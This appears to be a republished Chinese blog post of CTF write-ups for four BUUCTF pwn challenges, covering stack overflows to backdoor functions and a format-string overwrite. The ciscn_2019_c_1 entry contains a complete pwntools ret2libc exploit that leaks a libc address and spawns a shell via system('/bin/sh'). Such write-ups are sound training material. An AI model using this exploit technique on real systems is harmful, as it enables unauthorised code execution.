PWN-PRACTICE-BUUCTF-2
生活随笔
收集整理的這篇文章主要介紹了
PWN-PRACTICE-BUUCTF-2
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
PWN-PRACTICE-BUUCTF-2
- pwn1_sctf_2016
- jarvisoj_level0
- ciscn_2019_c_1
- [第五空間2019 決賽]PWN5
pwn1_sctf_2016
main函數(shù)中執(zhí)行vuln函數(shù)
fgets限制了輸入的長度,不足以構(gòu)成棧溢出
通過將輸入中的字符"I"替換成"you",增加長度,使?jié)M足棧溢出
同時可執(zhí)行文件存在后門函數(shù)get_flag
構(gòu)造payload,覆蓋eip到get_flag即可得到flag
jarvisoj_level0
簡單的棧溢出,留有后門函數(shù)callsystem
構(gòu)造payload,覆蓋rip到callsystem,為了滿足系統(tǒng)調(diào)用需要的16字節(jié)對齊,在系統(tǒng)調(diào)用前加一條ret
ciscn_2019_c_1
棧溢出ret2libc,encrypt函數(shù)里的異或運算不用管的
from pwn import * context.log_level="debug" io=remote('node4.buuoj.cn',28108) elf=ELF("./ciscn_2019_c_1") libc=ELF("./libc-2.27-18-x64.so") io.recvuntil("Input your choice!\n") io.sendline("1") io.recvuntil("Input your Plaintext to be encrypted\n") pop_rdi_ret=0x0000000000400c83 puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] encrypt=0x00000000004009A0 ret=0x00000000004006b9 payload="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt) io.sendline(payload) io.recvuntil("Ciphertext\n") io.recvuntil("\n") puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00")) print(hex(puts_addr)) libc_base=puts_addr-libc.sym["puts"] system=libc_base+libc.sym["system"] binsh=libc_base+libc.search("/bin/sh").next() payload_2="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(encrypt) io.recvuntil("Input your Plaintext to be encrypted\n") io.sendline(payload_2) io.sendline("cat flag") io.interactive()[第五空間2019 決賽]PWN5
格式化字符串的洞,覆寫dword_804C044處的值,再輸入相同的值即可驗證成功
測試知道偏移為10,利用pwntools集成的fmtstr_payload來構(gòu)造payload
或者自己構(gòu)造payload,因為要覆寫的值不必固定,所以構(gòu)造方式有很多
總結(jié)
以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-2的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 每月存1000元,按照一个方法存,16年
- 下一篇: 沉入海中368天 尼康W300相机奇迹存